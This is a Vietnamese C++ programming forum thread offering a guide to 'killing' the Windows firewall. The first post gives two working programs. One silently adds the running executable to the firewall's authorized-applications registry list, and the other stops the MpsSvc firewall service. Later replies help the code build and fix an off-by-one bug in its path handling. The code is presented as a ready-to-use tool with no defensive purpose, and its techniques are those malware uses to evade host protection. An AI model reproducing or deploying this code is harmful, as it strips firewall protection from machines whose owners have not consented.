Từ 1 tới 4 trên tổng số 4 kết quả

Đề tài: Hướng Dẫn Kill tường lửa của windows

  1. #1
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    Red face Hướng Dẫn Kill tường lửa của windows

    Tác động đến Registry
    Yêu cầu ai copy paste thì ghi rõ nhé bài viết thuộc về congdongcviet nhé

    Visual C++ Code:
    1. #define WIN32_LEAN_AND_MEAN
    2. #include <windows.h>
    3. #include <string>
    4. using namespace std;
    5.  
    6. char fwAuthApp[1024];
    7.  
    8. char* GetRegKey()
    9. {
    10.     HKEY hk = 0;
    11.  
    12.     RegCreateKeyA(HKEY_LOCAL_MACHINE,"SYSTEM\\Select",&hk);
    13.     int i;
    14.     DWORD sz = 4;
    15.  
    16.     if (RegQueryValueExA(hk,"Current",NULL,NULL,(BYTE*)&i,&sz) == ERROR_SUCCESS)
    17.     {
    18.         sprintf(fwAuthApp,"SYSTEM\\ControlSet%03d\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",i);
    19.     }
    20.     RegCloseKey(hk);
    21.     return fwAuthApp;
    22. }
    23.  
    24. void AddException(string path)
    25. {
    26.     HKEY hk;
    27.     DWORD dw;
    28.    
    29.     string skey = path + ":*:Enabled:@xpsp2res.dll,-22019";
    30.    
    31.     RegCreateKeyExA(
    32.         HKEY_LOCAL_MACHINE,
    33.         GetRegKey(),
    34.         0,
    35.         NULL,
    36.         REG_OPTION_NON_VOLATILE,
    37.         KEY_WRITE,
    38.         NULL,
    39.         &hk,
    40.         &dw
    41.         );
    42.    
    43.     RegSetValueExA(
    44.         hk,
    45.         path.c_str(),
    46.         0,
    47.         REG_SZ,
    48.         (BYTE*)skey.c_str(),
    49.         (DWORD)skey.length()
    50.         );
    51.    
    52.     RegCloseKey(hk);
    53. }
    54.  
    55. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
    56. {
    57.     char  *CmdLineA, *Location;
    58.    
    59.     CmdLineA = GetCommandLineA();
    60.     Location = CmdLineA + 1;
    61.     Location[strlen(Location)-2] = 0;
    62.     AddException(Location);
    63.     return 0;
    64. }


    hoặc Kill File driver của nó

    Visual C++ Code:
    1. #include <windows.h>
    2. #include <stdio.h>
    3.  
    4. int WFDisable( );
    5.  
    6. int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
    7. {
    8.     int wf;
    9.     TCHAR s[20];
    10.     wf = WFDisable( );
    11.     if( wf == 0 ) {
    12.         MessageBoxA(0,"success","Coder_gate",0);
    13.     }
    14.     else {
    15.         sprintf(s,"Error %d",wf);
    16.         MessageBoxA(0,s,"Coder_gate",0);   
    17.     }  
    18.     return 0;
    19. }
    20.  
    21. int WFDisable()
    22. {
    23.     SERVICE_STATUS sStatus;
    24.    
    25.     SC_HANDLE hManager = OpenSCManager( NULL, NULL, 0xF003F );
    26.     if( hManager == NULL ) {       
    27.         return( 1 );
    28.     }
    29.     SC_HANDLE hService = OpenService( hManager, (const char*)"MpsSvc", SERVICE_ALL_ACCESS );
    30.     if( hService == NULL ) {
    31.         return( 2 );
    32.     }
    33.     BOOL bControl = ControlService( hService, SERVICE_CONTROL_STOP, &sStatus );
    34.     if( bControl == 0 )
    35.     {
    36.         return( 3 );
    37.     }
    38.     CloseServiceHandle( hManager );
    39.     CloseServiceHandle( hService );
    40.     return( 0 );
    41. }
    Đã được chỉnh sửa lần cuối bởi AlexF : 28-05-2009 lúc 07:25 AM.

  2. #2
    Ngày gia nhập
    01 2010
    Bài viết
    31

    hey man, build bằng cái gì vậy. Tui build bằng VC++ 6.0 nó báo lỗi:

    Output Code:
    1. --------------------Configuration: KillFirewall - Win32 Debug--------------------
    2. Compiling...
    3. KillFirewall.cpp
    4. Linking...
    5. LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
    6. Debug/KillFirewall.exe : fatal error LNK1120: 1 unresolved externals
    7. Error executing link.exe.
    8.  
    9. KillFirewall.exe - 2 error(s), 0 warning(s)

  3. #3
    Ngày gia nhập
    07 2008
    Nơi ở
    /media/Anime
    Bài viết
    2,288

    Cái này là Win32 Application chứ ko phải console
    Càng yêu mèo thì mèo càng mập. Mèo càng mập ta lại càng yêu.

  4. #4
    Ngày gia nhập
    01 2010
    Bài viết
    31

    trong đoạn code thứ nhất có đoạn:
    Code:
        CmdLineA = GetCommandLineA();
        Location = CmdLineA + 1;
        Location[strlen(Location)-2] = 0;
    Theo như mình hiểu là dùng để lấy đường dẫn của file .exe đang thực thi (để add vào Exception).
    Dòng đầu tiên nó trả về đường dẫn nhưng có 2 dấu ngoặc kép ở đầu và cuối chuỗi.
    Vì thế dòng thứ 2 để xóa dấu ngoặc kép ở đầu.
    Tuy nhiên dòng thứ 3 hình như sai, theo như mình debug thì nó xóa dư 1 ký tự (Xóa một dấu ngoặc kép cuối cùng và xóa luôn một chữ "e"). Vì thế đường dẫn trở thành dạng "C:\path\myfile.ex". Sai

    Trên máy mình thì dòng thứ 3 chạy đúng khi sửa thành
    Code:
    Location[strlen(Location)-1] = 0;
    Mình dùng WinXP, VC++ 6. Mình nghĩ bạn cũng đã test qua nên có thể nó đã chạy đúng trên máy của bạn, không biết bạn đã viết trên môi trường như thế nào mà lại có sự khác biệt như vậy???
    Đã được chỉnh sửa lần cuối bởi optimist27 : 16-02-2010 lúc 12:23 AM.

Các đề tài tương tự

  1. Cùng nhau hoàn thiện tiếng Việt cho Windows 8, Windows Live và Windows Store
    Gửi bởi msfan trong diễn đàn English for IT | Tiếng anh cho dân CNTT
    Trả lời: 1
    Bài viết cuối: 28-02-2012, 09:40 AM
  2. Không cho người dùng Kill App giống như chương trình Antivirus???
    Gửi bởi cchangkhongayngo trong diễn đàn Thắc mắc lập trình C#
    Trả lời: 0
    Bài viết cuối: 28-07-2011, 02:27 PM
  3. Cách kill process tự tạo như thế nào?
    Gửi bởi giaicuu_505_1412 trong diễn đàn Thắc mắc lập trình Visual C++
    Trả lời: 1
    Bài viết cuối: 27-05-2011, 09:23 PM
  4. Kill Process bằng việc Kill toàn bộ thread của Process đó trên VC++ như thế nào?
    Gửi bởi AdminPro trong diễn đàn Thắc mắc lập trình Visual C++
    Trả lời: 1
    Bài viết cuối: 22-05-2009, 05:44 PM
  5. Cách chống Kill Process như thế nào?
    Gửi bởi vduck trong diễn đàn Lập trình Virus & Anti-Virus
    Trả lời: 3
    Bài viết cuối: 10-02-2009, 09:43 PM

Quyền hạn của bạn

  • Bạn không thể gửi đề tài mới
  • Bạn không thể gửi bài trả lời
  • Bạn không thể gửi các đính kèm
  • Bạn không thể chỉnh sửa bài viết của bạn